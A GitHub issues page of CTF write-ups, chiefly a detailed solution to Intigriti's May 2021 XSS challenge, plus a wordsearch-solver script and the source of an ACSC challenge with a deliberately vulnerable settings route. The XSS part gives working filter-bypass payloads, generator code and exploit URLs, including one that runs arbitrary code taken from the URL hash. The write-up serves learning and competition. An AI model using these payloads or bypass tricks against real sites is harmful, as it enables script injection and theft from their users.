Giter VIP home page Giter VIP logo

ctf-writeups's People

Contributors

aszx87410 avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar

ctf-writeups's Issues

0x41414141 CTF 2021 - optimizer

這題就是給一個可以 nc 連進去的 ip + port,進去之後就會問你兩個問題

第一題是河內塔的移動次數,會給一個陣列,經過觀察之後只要求出2^陣列長度就好,我到現在還是不知道陣列內容是要幹嘛的

解完之後第二題是逆序數對數量,偷懶直接 O(n^2) 就行了

手動算會累死所以寫了一個腳本但我忘記放哪了...找到再補回來

Writeup: Intigriti's 0521 XSS challenge - by @GrumpinouT

challenge link: https://challenge-0521.intigriti.io/

There is a frame with src ./captcha.php and that's all, so we need to look into this php file:

<body>
    <form id="captcha">
        <div id="input-fields">
          <span id="a"></span>
          <span id="b">+</span>
          <input id="c" type="text" size="4" value="" required/>
          =
          <span id="d"></span>
          <progress id="e" value="0" max="100" style="display:none"></progress>
        </div>
          <input type="submit" id="f"/>
          <input type="button" onclick="setNewNumber()" value="Retry" id="g"/>
    </form>
</body>
<script>
    const a = document.querySelector("#a");
    const c = document.querySelector("#c");
    const b = document.querySelector("#b");
    const d = document.querySelector("#d");

    window.onload = function(){
      setNewNumber();
      document.getElementById("captcha").onsubmit = function(e){
          e.preventDefault();
          loadCalc(0);
      };
    }

    function loadCalc(pVal){
      document.getElementsByTagName("progress")[0].style.display = "block";
      document.getElementsByTagName("progress")[0].value = pVal;
      if(pVal == 100){
        calc();
      }
      else{
        window.setTimeout(function(){loadCalc(pVal + 1)}, 10);
      }
    }

    function setNewNumber() {
            document.getElementsByTagName("progress")[0].style.display = "none";
        var dValue = Math.round(Math.random()*1000);
        d.innerText = dValue;
        a.innerText = Math.round(Math.random()* dValue);
    }

    function calc() {
        const operation = a.innerText + b.innerText + c.value;
        if (!operation.match(/[a-df-z<>()!\\='"]/gi)) { // Allow letter 'e' because: https://en.wikipedia.org/wiki/E_(mathematical_constant)
            if (d.innerText == eval(operation)) {
              alert("🚫🤖 Congratulations, you're not a robot!");
            }
            else {
              alert("🤖 Sorry to break the news to you, but you are a robot!");
            }
            setNewNumber();
        }
        c.value = "";
    }

</script>

When the user clicks the submit button, the input value will be sent to eval function if there is no forbidden characters in the input value.

So we need to write a JavaScript program without a-df-z<>()!\='".

If you heard about JSFuck, yes, we can solve in a similar way.

Because we can't use alphabet directly, so we need to find a way to run the JavaScript dynamically, like eval, Function, setTimeout and setInterval.

Once we can use one of the above function, we can create our own function with whatever function body we want. Because function body is just a string, we can use their alternatives and put it together.

Like, `${0/0}`[1] as an alternative to a. This works because 0/0 produces NaN and backtick cast it to a string.

Let's find out which function we should use.

There is no way to access eval, setTimeout and setInterval if we can't access window. But Function is much easier to access because there are many ways to achieve it.

For example, []['constructor']['constructor']. Once we have function constructor, we can create our own function and execute it, like below:

[]['constructor']['constructor']`_${'alert(1)'}```

You can run this on your console and see the alert. We use backtick for function call, two times. The first time is to create a function while the second is to execute it.

Someone might notice that there is a _ before ${alert(1)}, it's because of how tagged templates works.

If we do []['constructor']['constructor']`${'alert(1)'}`, the console will give us an error: Uncaught SyntaxError: Unexpected token ','.

It's easier to see what's going on under the hood by creating a dummy function:

function print(...args){
  console.log(args)
}

print`${'alert(1)'}`  // [["", ""], "alert(1)"]
print`_${'alert(1)'}` // [["_", ""], "alert(1)"]

Without prefix _, it's like calling function constructor with first parameter ,, which is not a valid argument name.

But if we add _ (or any valid name for parameter), _, is a valid syntax for argument because , is just a trailing comma.

After find out the goal:

[]['constructor']['constructor']`_${'alert(document.domain)'}```

The last thing we need to do is to find a way to generate those characters.

jsfuck is a good resource if you don't know where to start.

Here is the string I used:

1. `${``+{}}` => "[object Object]"
2. `${``[0]}` => "undefined"
3. `${e}` => "[object HTMLProgressElement]"
4. `${0/0}` => "NaN"

We can find all the replacement for our payload from the string above except ( and ).

Where can we find these two characters? By casting a function to a string!

`${[]['constructor']}`
=> "function Array() { [native code] }"

By piece all the alternatives we found together plus a little bit of programming, we can generate the valid payload:

const mapping = {
  a: '`${0/0}`[1]',
  c: '`${``+{}}`[5]',
  d: '`${``[0]}`[2]',
  e: '`e`',
  i: '`${``[0]}`[5]',
  l: '`${e}`[21]',
  m: '`${e}`[23]',
  n: '`${``[0]}`[1]',
  o: '`${``+{}}`[1]',
  r: '`${e}`[13]',
  s: '`${e}`[18]',
  t: '`${``+{}}`[6]',
  u: '`${``[0]}`[0]',
  ".": '`.`'
}

function getString(str) {
  return str.split('').map(c => mapping[c] || 'error:' + c).join('+')
}

const cons = getString('constructor')
mapping['('] = '`${[][' + cons + ']}`[14]'
mapping[')'] = '`${[][' + cons + ']}`[15]'

const ans = 
  "[][" + 
  getString('constructor') + 
  "]["+
  getString('constructor') +
  "]`_${" + 
  getString('alert(document.domain)') +
  "}```"

console.log(ans)

output(length 851):

[][`${``+{}}`[5]+`${``+{}}`[1]+`${``[0]}`[1]+`${e}`[18]+`${``+{}}`[6]+`${e}`[13]+`${``[0]}`[0]+`${``+{}}`[5]+`${``+{}}`[6]+`${``+{}}`[1]+`${e}`[13]][`${``+{}}`[5]+`${``+{}}`[1]+`${``[0]}`[1]+`${e}`[18]+`${``+{}}`[6]+`${e}`[13]+`${``[0]}`[0]+`${``+{}}`[5]+`${``+{}}`[6]+`${``+{}}`[1]+`${e}`[13]]`_${`${0/0}`[1]+`${e}`[21]+`e`+`${e}`[13]+`${``+{}}`[6]+`${[][`${``+{}}`[5]+`${``+{}}`[1]+`${``[0]}`[1]+`${e}`[18]+`${``+{}}`[6]+`${e}`[13]+`${``[0]}`[0]+`${``+{}}`[5]+`${``+{}}`[6]+`${``+{}}`[1]+`${e}`[13]]}`[14]+`${``[0]}`[2]+`${``+{}}`[1]+`${``+{}}`[5]+`${``[0]}`[0]+`${e}`[23]+`e`+`${``[0]}`[1]+`${``+{}}`[6]+`.`+`${``[0]}`[2]+`${``+{}}`[1]+`${e}`[23]+`${0/0}`[1]+`${``[0]}`[5]+`${``[0]}`[1]+`${[][`${``+{}}`[5]+`${``+{}}`[1]+`${``[0]}`[1]+`${e}`[18]+`${``+{}}`[6]+`${e}`[13]+`${``[0]}`[0]+`${``+{}}`[5]+`${``+{}}`[6]+`${``+{}}`[1]+`${e}`[13]]}`[15]}```

Copy and paste this paragraph and click submit, boom! XSS triggered!

After the success I submitted my answer and got a reply said it's self-XSS(yes it is, but I didn't notice that 😂 ), it also said that I can experiment more with php.

It's not hard to find that query string c will be reflected on the page, so just add ?c= and paste the payload(remember to url encode) to change it from self-XSS to one-click XSS and solve the challenge.

url:

https://challenge-0521.intigriti.io/captcha.php?c=[][`${``%2b{}}`[5]%2b`${``%2b{}}`[1]%2b`${``[0]}`[1]%2b`${e}`[18]%2b`${``%2b{}}`[6]%2b`${e}`[13]%2b`${``[0]}`[0]%2b`${``%2b{}}`[5]%2b`${``%2b{}}`[6]%2b`${``%2b{}}`[1]%2b`${e}`[13]][`${``%2b{}}`[5]%2b`${``%2b{}}`[1]%2b`${``[0]}`[1]%2b`${e}`[18]%2b`${``%2b{}}`[6]%2b`${e}`[13]%2b`${``[0]}`[0]%2b`${``%2b{}}`[5]%2b`${``%2b{}}`[6]%2b`${``%2b{}}`[1]%2b`${e}`[13]]`_${`${0/0}`[1]%2b`${e}`[21]%2b`e`%2b`${e}`[13]%2b`${``%2b{}}`[6]%2b`${[][`${``%2b{}}`[5]%2b`${``%2b{}}`[1]%2b`${``[0]}`[1]%2b`${e}`[18]%2b`${``%2b{}}`[6]%2b`${e}`[13]%2b`${``[0]}`[0]%2b`${``%2b{}}`[5]%2b`${``%2b{}}`[6]%2b`${``%2b{}}`[1]%2b`${e}`[13]]}`[14]%2b`${``[0]}`[2]%2b`${``%2b{}}`[1]%2b`${``%2b{}}`[5]%2b`${``[0]}`[0]%2b`${e}`[23]%2b`e`%2b`${``[0]}`[1]%2b`${``%2b{}}`[6]%2b`.`%2b`${``[0]}`[2]%2b`${``%2b{}}`[1]%2b`${e}`[23]%2b`${0/0}`[1]%2b`${``[0]}`[5]%2b`${``[0]}`[1]%2b`${[][`${``%2b{}}`[5]%2b`${``%2b{}}`[1]%2b`${``[0]}`[1]%2b`${e}`[18]%2b`${``%2b{}}`[6]%2b`${e}`[13]%2b`${``[0]}`[0]%2b`${``%2b{}}`[5]%2b`${``%2b{}}`[6]%2b`${``%2b{}}`[1]%2b`${e}`[13]]}`[15]}```

The story ends? No.

Go further

Pop an alert is not enough, I want to run any JavaScript on the page!

I just changed the payload to this:

[]['constructor']['constructor']`_${'eval(location.hash.slice(1))'}```

So we can run any JS code after hash tag on the URL.

In order to do this, we need to find the replacement for v and h.

It's a little bit difficult because we can't find it in the common string we used: undefined, NaN and [Object object].

For v we can get it from any native function, like above, nati"v"e code. But later I found that Firefox and Chrome output differently.

Chrome outputs: function RegExp() { [native code] } and Firefox outputs function RegExp() {\n [native code]\n}. Let's ignore it for now.

How about h? We can get it by using toString with radix 36: 17['toString']`36`, and get S from string constructor.

You may notice that at this point, we can actually generate any alphabet with num['toString']`36`. For v we can also use this.

So the final payload will be(length 1925):

[][`${``+{}}`[5]+`${``+{}}`[1]+`${``[0]}`[1]+`${e}`[18]+`${``+{}}`[6]+`${e}`[13]+`${``[0]}`[0]+`${``+{}}`[5]+`${``+{}}`[6]+`${``+{}}`[1]+`${e}`[13]][`${``+{}}`[5]+`${``+{}}`[1]+`${``[0]}`[1]+`${e}`[18]+`${``+{}}`[6]+`${e}`[13]+`${``[0]}`[0]+`${``+{}}`[5]+`${``+{}}`[6]+`${``+{}}`[1]+`${e}`[13]]`_${`e`+31[`${``+{}}`[6]+`${``+{}}`[1]+`${``[`${``+{}}`[5]+`${``+{}}`[1]+`${``[0]}`[1]+`${e}`[18]+`${``+{}}`[6]+`${e}`[13]+`${``[0]}`[0]+`${``+{}}`[5]+`${``+{}}`[6]+`${``+{}}`[1]+`${e}`[13]]}`[9]+`${``+{}}`[6]+`${e}`[13]+`${``[0]}`[5]+`${``[0]}`[1]+`${e}`[15]]`36`+`${0/0}`[1]+`${e}`[21]+`${[][`${``+{}}`[5]+`${``+{}}`[1]+`${``[0]}`[1]+`${e}`[18]+`${``+{}}`[6]+`${e}`[13]+`${``[0]}`[0]+`${``+{}}`[5]+`${``+{}}`[6]+`${``+{}}`[1]+`${e}`[13]]}`[14]+`${e}`[21]+`${``+{}}`[1]+`${``+{}}`[5]+`${0/0}`[1]+`${``+{}}`[6]+`${``[0]}`[5]+`${``+{}}`[1]+`${``[0]}`[1]+`.`+17[`${``+{}}`[6]+`${``+{}}`[1]+`${``[`${``+{}}`[5]+`${``+{}}`[1]+`${``[0]}`[1]+`${e}`[18]+`${``+{}}`[6]+`${e}`[13]+`${``[0]}`[0]+`${``+{}}`[5]+`${``+{}}`[6]+`${``+{}}`[1]+`${e}`[13]]}`[9]+`${``+{}}`[6]+`${e}`[13]+`${``[0]}`[5]+`${``[0]}`[1]+`${e}`[15]]`36`+`${0/0}`[1]+`${e}`[18]+17[`${``+{}}`[6]+`${``+{}}`[1]+`${``[`${``+{}}`[5]+`${``+{}}`[1]+`${``[0]}`[1]+`${e}`[18]+`${``+{}}`[6]+`${e}`[13]+`${``[0]}`[0]+`${``+{}}`[5]+`${``+{}}`[6]+`${``+{}}`[1]+`${e}`[13]]}`[9]+`${``+{}}`[6]+`${e}`[13]+`${``[0]}`[5]+`${``[0]}`[1]+`${e}`[15]]`36`+`.`+`${e}`[18]+`${e}`[21]+`${``[0]}`[5]+`${``+{}}`[5]+`e`+`${[][`${``+{}}`[5]+`${``+{}}`[1]+`${``[0]}`[1]+`${e}`[18]+`${``+{}}`[6]+`${e}`[13]+`${``[0]}`[0]+`${``+{}}`[5]+`${``+{}}`[6]+`${``+{}}`[1]+`${e}`[13]]}`[14]+1+`${[][`${``+{}}`[5]+`${``+{}}`[1]+`${``[0]}`[1]+`${e}`[18]+`${``+{}}`[6]+`${e}`[13]+`${``[0]}`[0]+`${``+{}}`[5]+`${``+{}}`[6]+`${``+{}}`[1]+`${e}`[13]]}`[15]+`${[][`${``+{}}`[5]+`${``+{}}`[1]+`${``[0]}`[1]+`${e}`[18]+`${``+{}}`[6]+`${e}`[13]+`${``[0]}`[0]+`${``+{}}`[5]+`${``+{}}`[6]+`${``+{}}`[1]+`${e}`[13]]}`[15]}```

and the url is:

https://challenge-0521.intigriti.io/captcha.php?c=[][`${``%2b{}}`[5]%2b`${``%2b{}}`[1]%2b`${``[0]}`[1]%2b`${e}`[18]%2b`${``%2b{}}`[6]%2b`${e}`[13]%2b`${``[0]}`[0]%2b`${``%2b{}}`[5]%2b`${``%2b{}}`[6]%2b`${``%2b{}}`[1]%2b`${e}`[13]][`${``%2b{}}`[5]%2b`${``%2b{}}`[1]%2b`${``[0]}`[1]%2b`${e}`[18]%2b`${``%2b{}}`[6]%2b`${e}`[13]%2b`${``[0]}`[0]%2b`${``%2b{}}`[5]%2b`${``%2b{}}`[6]%2b`${``%2b{}}`[1]%2b`${e}`[13]]`_${`e`%2b31[`${``%2b{}}`[6]%2b`${``%2b{}}`[1]%2b`${``[`${``%2b{}}`[5]%2b`${``%2b{}}`[1]%2b`${``[0]}`[1]%2b`${e}`[18]%2b`${``%2b{}}`[6]%2b`${e}`[13]%2b`${``[0]}`[0]%2b`${``%2b{}}`[5]%2b`${``%2b{}}`[6]%2b`${``%2b{}}`[1]%2b`${e}`[13]]}`[9]%2b`${``%2b{}}`[6]%2b`${e}`[13]%2b`${``[0]}`[5]%2b`${``[0]}`[1]%2b`${e}`[15]]`36`%2b`${0/0}`[1]%2b`${e}`[21]%2b`${[][`${``%2b{}}`[5]%2b`${``%2b{}}`[1]%2b`${``[0]}`[1]%2b`${e}`[18]%2b`${``%2b{}}`[6]%2b`${e}`[13]%2b`${``[0]}`[0]%2b`${``%2b{}}`[5]%2b`${``%2b{}}`[6]%2b`${``%2b{}}`[1]%2b`${e}`[13]]}`[14]%2b`${e}`[21]%2b`${``%2b{}}`[1]%2b`${``%2b{}}`[5]%2b`${0/0}`[1]%2b`${``%2b{}}`[6]%2b`${``[0]}`[5]%2b`${``%2b{}}`[1]%2b`${``[0]}`[1]%2b`.`%2b17[`${``%2b{}}`[6]%2b`${``%2b{}}`[1]%2b`${``[`${``%2b{}}`[5]%2b`${``%2b{}}`[1]%2b`${``[0]}`[1]%2b`${e}`[18]%2b`${``%2b{}}`[6]%2b`${e}`[13]%2b`${``[0]}`[0]%2b`${``%2b{}}`[5]%2b`${``%2b{}}`[6]%2b`${``%2b{}}`[1]%2b`${e}`[13]]}`[9]%2b`${``%2b{}}`[6]%2b`${e}`[13]%2b`${``[0]}`[5]%2b`${``[0]}`[1]%2b`${e}`[15]]`36`%2b`${0/0}`[1]%2b`${e}`[18]%2b17[`${``%2b{}}`[6]%2b`${``%2b{}}`[1]%2b`${``[`${``%2b{}}`[5]%2b`${``%2b{}}`[1]%2b`${``[0]}`[1]%2b`${e}`[18]%2b`${``%2b{}}`[6]%2b`${e}`[13]%2b`${``[0]}`[0]%2b`${``%2b{}}`[5]%2b`${``%2b{}}`[6]%2b`${``%2b{}}`[1]%2b`${e}`[13]]}`[9]%2b`${``%2b{}}`[6]%2b`${e}`[13]%2b`${``[0]}`[5]%2b`${``[0]}`[1]%2b`${e}`[15]]`36`%2b`.`%2b`${e}`[18]%2b`${e}`[21]%2b`${``[0]}`[5]%2b`${``%2b{}}`[5]%2b`e`%2b`${[][`${``%2b{}}`[5]%2b`${``%2b{}}`[1]%2b`${``[0]}`[1]%2b`${e}`[18]%2b`${``%2b{}}`[6]%2b`${e}`[13]%2b`${``[0]}`[0]%2b`${``%2b{}}`[5]%2b`${``%2b{}}`[6]%2b`${``%2b{}}`[1]%2b`${e}`[13]]}`[14]%2b1%2b`${[][`${``%2b{}}`[5]%2b`${``%2b{}}`[1]%2b`${``[0]}`[1]%2b`${e}`[18]%2b`${``%2b{}}`[6]%2b`${e}`[13]%2b`${``[0]}`[0]%2b`${``%2b{}}`[5]%2b`${``%2b{}}`[6]%2b`${``%2b{}}`[1]%2b`${e}`[13]]}`[15]%2b`${[][`${``%2b{}}`[5]%2b`${``%2b{}}`[1]%2b`${``[0]}`[1]%2b`${e}`[18]%2b`${``%2b{}}`[6]%2b`${e}`[13]%2b`${``[0]}`[0]%2b`${``%2b{}}`[5]%2b`${``%2b{}}`[6]%2b`${``%2b{}}`[1]%2b`${e}`[13]]}`[15]}```#alert(document.domain)

It works perfectly on both Firefox and Chrome!

Reduce the payload size

The last thing I want to do is to reduce the payload size. So I made following changes:

  1. We can get undefined by e[0] instead of ``[0], save 1 character.
  2. For [object Object], ``+{} is redundant, use {} only also works. Save 3 characters.
  3. Get character from e as much as possible because it's shorter.

We can also find the array method with the shortest length:

let min = 99
let winner = ''
for (let prop of Object.getOwnPropertyNames(Array.prototype)) {
  const len = getString(prop).length
  if (len < min) {
    min = len
    winner = prop
  }
}
console.log(winner, min)

The winner is some, so we will use it to replace []['constructor'].

Also, we should use alert(document.domain) as our payload instead of eval(location.hash.slice(1)), save a lot of characters. Even eval(name) is longer than alert() because the cost to get v is too high.

Below is the shortest payload I find, length 466:

length: 466
======= Payload =======
[][`${e}`[18]+`${e}`[1]+`${e}`[23]+`e`][`${e}`[5]+`${e}`[1]+`${e}`[25]+`${e}`[18]+`${e}`[6]+`${e}`[13]+`${e[0]}`[0]+`${e}`[5]+`${e}`[6]+`${e}`[1]+`${e}`[13]]`_${`${0/0}`[1]+`${e}`[21]+`e`+`${e}`[13]+`${e}`[6]+`${[][`${e}`[18]+`${e}`[1]+`${e}`[23]+`e`]}`[13]+`${e[0]}`[2]+`${e}`[1]+`${e}`[5]+`${e[0]}`[0]+`${e}`[23]+`e`+`${e}`[25]+`${e}`[6]+`.`+`${e[0]}`[2]+`${e}`[1]+`${e}`[23]+`${0/0}`[1]+`${e[0]}`[5]+`${e}`[25]+`${[][`${e}`[18]+`${e}`[1]+`${e}`[23]+`e`]}`[14]}```
======= URL =======
https://challenge-0521.intigriti.io/captcha.php?c=[][`${e}`[18]%2b`${e}`[1]%2b`${e}`[23]%2b`e`][`${e}`[5]%2b`${e}`[1]%2b`${e}`[25]%2b`${e}`[18]%2b`${e}`[6]%2b`${e}`[13]%2b`${e[0]}`[0]%2b`${e}`[5]%2b`${e}`[6]%2b`${e}`[1]%2b`${e}`[13]]`_${`${0/0}`[1]%2b`${e}`[21]%2b`e`%2b`${e}`[13]%2b`${e}`[6]%2b`${[][`${e}`[18]%2b`${e}`[1]%2b`${e}`[23]%2b`e`]}`[13]%2b`${e[0]}`[2]%2b`${e}`[1]%2b`${e}`[5]%2b`${e[0]}`[0]%2b`${e}`[23]%2b`e`%2b`${e}`[25]%2b`${e}`[6]%2b`.`%2b`${e[0]}`[2]%2b`${e}`[1]%2b`${e}`[23]%2b`${0/0}`[1]%2b`${e[0]}`[5]%2b`${e}`[25]%2b`${[][`${e}`[18]%2b`${e}`[1]%2b`${e}`[23]%2b`e`]}`[14]}```

The code I used to generate the payload:

const mapping = {
  a: '`${0/0}`[1]',
  b: '`${e}`[2]',
  c: '`${e}`[5]',
  d: '`${e[0]}`[2]',
  e: '`e`',
  f: '`${e[0]}`[4]',
  g: '`${e}`[15]',
  i: '`${e[0]}`[5]',
  j: '`${e}`[3]',
  l: '`${e}`[21]',
  m: '`${e}`[23]',
  n: '`${e}`[25]',
  o: '`${e}`[1]',
  r: '`${e}`[13]',
  s: '`${e}`[18]',
  t: '`${e}`[6]',
  u: '`${e[0]}`[0]',
  ".": '`.`'
}

function getString(str) {
  return str.split('').map(c => mapping[c] || 'errorerror:' + c).join('+')
}

const some = getString('some')
mapping['('] = '`${[][' + some + ']}`[13]'
mapping[')'] = '`${[][' + some + ']}`[14]'

const cons = getString('constructor')
let strConstructor = '``['+ cons + ']'
strConstructor = '`${' + strConstructor + '}`'

const strToString = `${mapping.t}+${mapping.o}+${strConstructor}[9]+${mapping.t}+${mapping.r}+${mapping.i}+${mapping.n}+${mapping.g}`
mapping.v = '31[' + strToString + ']`36`'

const ans = 
  "[][" + 
  getString('some') + 
  "]["+
  getString('constructor') +
  "]`_${" + 
  getString('alert(document.domain)') +
  "}```"

console.log('length:', ans.length)
console.log('======= Payload =======')
console.log(ans)
console.log('======= URL =======')
console.log('https://challenge-0521.intigriti.io/captcha.php?c=' + ans.replace(/\+/g, '%2b'))

Reduce the size, again

Remember the "v" issue? The cost is too high to get v to construct the payload eval(name).

It's because Firefox and Chrome produce different result:

[]['some']+''

// Chrome
"function some() { [native code] }"
v: index 23

// Firefox
"function some() {
    [native code]
}"
v: index 27

We can ignore this issue for now and target Chrome only, the result is:

length: 376
======= Payload =======
[][`${e}`[18]+`${e}`[1]+`${e}`[23]+`e`][`${e}`[5]+`${e}`[1]+`${e}`[25]+`${e}`[18]+`${e}`[6]+`${e}`[13]+`${e[0]}`[0]+`${e}`[5]+`${e}`[6]+`${e}`[1]+`${e}`[13]]`_${`e`+`${[][`${e}`[18]+`${e}`[1]+`${e}`[23]+`e`]}`[23]+`${0/0}`[1]+`${e}`[21]+`${[][`${e}`[18]+`${e}`[1]+`${e}`[23]+`e`]}`[13]+`${e}`[25]+`${0/0}`[1]+`${e}`[23]+`e`+`${[][`${e}`[18]+`${e}`[1]+`${e}`[23]+`e`]}`[14]}```
======= URL =======
https://challenge-0521.intigriti.io/captcha.php?c=[][`${e}`[18]%2b`${e}`[1]%2b`${e}`[23]%2b`e`][`${e}`[5]%2b`${e}`[1]%2b`${e}`[25]%2b`${e}`[18]%2b`${e}`[6]%2b`${e}`[13]%2b`${e[0]}`[0]%2b`${e}`[5]%2b`${e}`[6]%2b`${e}`[1]%2b`${e}`[13]]`_${`e`%2b`${[][`${e}`[18]%2b`${e}`[1]%2b`${e}`[23]%2b`e`]}`[23]%2b`${0/0}`[1]%2b`${e}`[21]%2b`${[][`${e}`[18]%2b`${e}`[1]%2b`${e}`[23]%2b`e`]}`[13]%2b`${e}`[25]%2b`${0/0}`[1]%2b`${e}`[23]%2b`e`%2b`${[][`${e}`[18]%2b`${e}`[1]%2b`${e}`[23]%2b`e`]}`[14]}```

It's 376, reduce about 100 characters compare to the previous result 466.

The code I used to generate:

const mapping = {
  a: '`${0/0}`[1]',
  b: '`${e}`[2]',
  c: '`${e}`[5]',
  d: '`${e[0]}`[2]',
  e: '`e`',
  f: '`${e[0]}`[4]',
  g: '`${e}`[15]',
  i: '`${e[0]}`[5]',
  j: '`${e}`[3]',
  l: '`${e}`[21]',
  m: '`${e}`[23]',
  n: '`${e}`[25]',
  o: '`${e}`[1]',
  r: '`${e}`[13]',
  s: '`${e}`[18]',
  t: '`${e}`[6]',
  u: '`${e[0]}`[0]',
  ".": '`.`'
}

function getString(str) {
  return str.split('').map(c => mapping[c] || 'errorerror:' + c).join('+')
}

const some = getString('some')
mapping['('] = '`${[][' + some + ']}`[13]'
mapping[')'] = '`${[][' + some + ']}`[14]'

mapping.v = '`${[][' + getString('some') + ']}`[23]'

const ans = 
  "[][" + 
  getString('some') + 
  "]["+
  getString('constructor') +
  "]`_${" + 
  getString('eval(name)') +
  "}```"

console.log('length:', ans.length)
console.log('======= Payload =======')
console.log(ans)
console.log('======= URL =======')
console.log('https://challenge-0521.intigriti.io/captcha.php?c=' + ans.replace(/\+/g, '%2b'))

H@cktivityCon 2021 CTF - Words Church

Description

Tired of finding bugs and exploiting vulnerabilities? Want a classic brain buster instead? Why not play a wordsearch -- in fact, why not play thirty word searches!!

截圖 2021-09-20 上午11 08 32

Writeup

Nothing special, just parse strings and find the answer. The only problem is I am not familiar with the rules, I found that the coordinate can be a negative number. I thought it's a bug but it turns out it's valid.

var NetcatClient = require('node-netcat').client;
var client = NetcatClient(32332, 'challenge.ctf.games');
  
client.on('open', function () {
  console.log('connect');
});

let stage = 'before_start'
let board = []
let problem = null
let buffer = []
let timer = null

// x, y
let dir = [
  [-1, 1],
  [0, 1],
  [1, 1],
  [-1, -1],
  [-1, 0],
  [0, -1],
  [1, -1],
  [1, 0],
]
function isAns(board, x, y, problem) {
  if (board[y][x] !== problem[0]) return null
  if (problem.length === 1) {
    return `[(${x},${y})]`
  }

  let steps = []
  let isFound = false
  for(let d of dir) {
    let nowX = x
    let nowY = y
    let stepX = x
    let stepY = y
    let count = 1
    steps.push([x,y])
    
    while(true) {
      nowX += d[0];stepX += d[0]
      nowY += d[1];stepY += d[1]
      if (nowX === -1) { nowX = 15 }
      if (nowX === 16) { nowX = 0 }
      if (nowY === -1) { nowY = 15 }
      if (nowY === 16) { nowY = 0 }

      if (board[nowY] && board[nowY][nowX] === problem[count]) {
        count++
        steps.push([stepX,stepY])
        if (count === problem.length) {
          isFound = true
          break
        }
      } else {
        break
      }
    }

    if (isFound) {
      break
    } else {
      steps = []
    }
  }

  if (!isFound) {
    return null
  }
  console.log('found ans!')
  const aaa = '[' + steps.map(arr => `(${arr[0]}, ${arr[1]})`).join(', ') + ']'
  console.log(aaa)
  return aaa
}

function findAns() {
  for(let y=0; y<board.length; y++) {
    for(let x=0; x<board[y].length; x++) {
      if (board[y][x] !== problem[0]){
        continue
      }

      //console.log('log:', x, y)
      let result = isAns(board, x, y, problem)
      if (result) {
        return result
      }
    }
  }
}

function parseBoard() {
  board = board.filter(row => row !== '')
  const lastIndex = board.findIndex(row => row.includes('---') && row.length < 10)
  board = board.slice(2, lastIndex)
  board = board.map(row => {
    let r = row.replace(/\s/g, '').split('|')[1]
    return r
  })
}

function handler() {
  if (stage === 'before_start' && buffer.includes('> ')) {
    stage = 'receiving_board'
    client.send('play\n')
    buffer = []
    return
  }

  if (stage === 'receiving_board') {
    stage = 'receiving_problem' 
    board = []
    let index = buffer.findIndex(line => line.includes(': X'))
    for(let i=index; i<buffer.length; i++) {
      board.push(buffer[i])
    }
    parseBoard()
    console.log('[log] board:')
    console.log(board)

    let p = buffer[buffer.length - 1]
    problem = p.replace(/[:> \n\t]/g, '')
    console.log('[log] problem:', problem, problem.length)
    client.send(findAns() + "\n")
    buffer = []
    return
  }

  if (stage === 'receiving_problem') {
    if (buffer.find(l => l.includes('Onto the'))) {
      console.log('[log] next level')
      stage = 'receiving_board'
      handler()
      return
    }
    problem = buffer.join('').replace(/[:> \n\t]/g, '')
    console.log('[log] problem:', problem, problem.length)
    client.send(findAns() + "\n")
    buffer = []
    return
  }

}

client.on('data', function (data) {
  let str = data.toString('ascii')
  let lines = str.split('\n')
  console.log(str)

  buffer.push(...lines)
  clearTimeout(timer)
  timer = null
  timer = setTimeout(handler, 1000)
});

client.on('error', function (err) {
  console.log(err);
});

client.on('close', function () {
  console.log('close');
});

client.start();

ACSC 2021 - Cowsay as a Service

Description

Enjoy your cowsay life with our Cowsay as a Service!
You can spawn your private instance from https://cowsay-as-a-service.chal.acsc.asia/.

Notice: Please do not spawn too many instances since our server resource is limited.
You can check the source code and run it in your local machine before do that.
Each instances are alive only for 5 minutes.
But don't worry! You can spawn again even if your instance expired.

截圖 2021-09-20 上午9 36 09

Source code:

import Koa from 'koa';
import Router from '@koa/router';
import auth from 'koa-basic-auth';
import bodyParser from 'koa-bodyparser';
import child_process from 'child_process';

const settings = {};

const style = `<style>
body { padding: 2rem; }
.form input[type=text] { padding: .5rem 1rem; font-size: 1rem; display: block; margin-bottom: 1rem; }
.form input[type=submit] { display: block; margin-bottom: 1rem; color: #fff; background-color: #000; padding: .5rem 1rem; font-size: 1rem; border: none; }
.color-setting { margin-bottom: 1rem; }
.cowsay { font-size: 2rem; background: #beead6; padding: 0.5rem 1rem; }
</style>`;

const app = new Koa();
const router = new Router();

// basic auth
if (process.env.CS_USERNAME && process.env.CS_PASSWORD) {
  app.use(auth({
    name: process.env.CS_USERNAME,
    pass: process.env.CS_PASSWORD
  }))
}

app.use(async (ctx, next) => {
  ctx.state.user = ctx.cookies.get('username');
  await next();
});

router.get('/', (ctx, next) => {
  ctx.body = `
${style}
<h1>Welcome to Cowsay as a Service</h1>
<p>Before start the service, please enter your name.</p>
<form action="/cowsay" method="GET" class="form">
  <input type="text" name="user" placeholder="Username">
  <input type="submit" value="Login">
</form>
<script>
document.querySelector('form').addEventListener('submit', () => {
  const username = document.querySelector('input[name="user"]').value;
  document.cookie = 'username=' + username;
});
</script>
`;
  next();
});

router.get('/cowsay', (ctx, next) => {
  const setting = settings[ctx.state.user];
  const color = setting?.color || '#000000';

  let cowsay = '';
  if (ctx.request.query.say) {
    const result = child_process.spawnSync('/usr/games/cowsay', [ctx.request.query.say], { timeout: 500 });
    cowsay = result.stdout.toString();
  }

  ctx.body = `
${style}
<h1>Cowsay as a Service</h1>

<details class="color-setting">
  <summary>Color Preferences</summary>
  <form action="/setting/color" method="POST">
    <input type="color" name="value" value="${color}">
    <input type="submit" value="Change Color">
  </form>
</details>

<form action="/cowsay" method="GET" class="form">
  <input type="text" name="say" placeholder="hello">
  <input type="submit" value="Say">
</form>

<pre style="color: ${color}" class="cowsay">
${cowsay}
</pre>
`;
});

router.post('/setting/:name', (ctx, next) => {
  if (!settings[ctx.state.user]) {
    settings[ctx.state.user] = {};
  }
  const setting = settings[ctx.state.user];
  setting[ctx.params.name] = ctx.request.body.value;
  ctx.redirect('/cowsay');
});

app.use(bodyParser());
app.use(router.routes());
app.use(router.allowedMethods());
app.listen(3000);

Writeup

